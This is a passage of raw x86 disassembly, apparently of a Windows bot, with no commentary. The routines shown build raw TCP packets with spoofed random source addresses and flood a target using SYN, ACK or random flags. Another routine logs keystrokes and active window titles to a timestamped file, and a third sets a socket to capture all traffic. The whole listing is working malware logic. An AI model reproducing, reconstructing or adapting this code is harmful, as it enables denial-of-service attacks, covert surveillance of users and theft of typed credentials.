		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43F668
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43F668
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2600000h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 25F0847h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_34], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 25F0847h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43F700
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417300
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43F668
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730A
		mov	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43F668
		mov	[ebp+var_16], ax
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43F664
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43F668
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43F668
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 260051Fh
		nop
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F688
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 260048Fh
		call	dword_43F5F0
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43F548
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43F634
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417076
		pop	ecx
		push	0
		nop
		call	near ptr 25F0278h
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43F668
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43F614
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
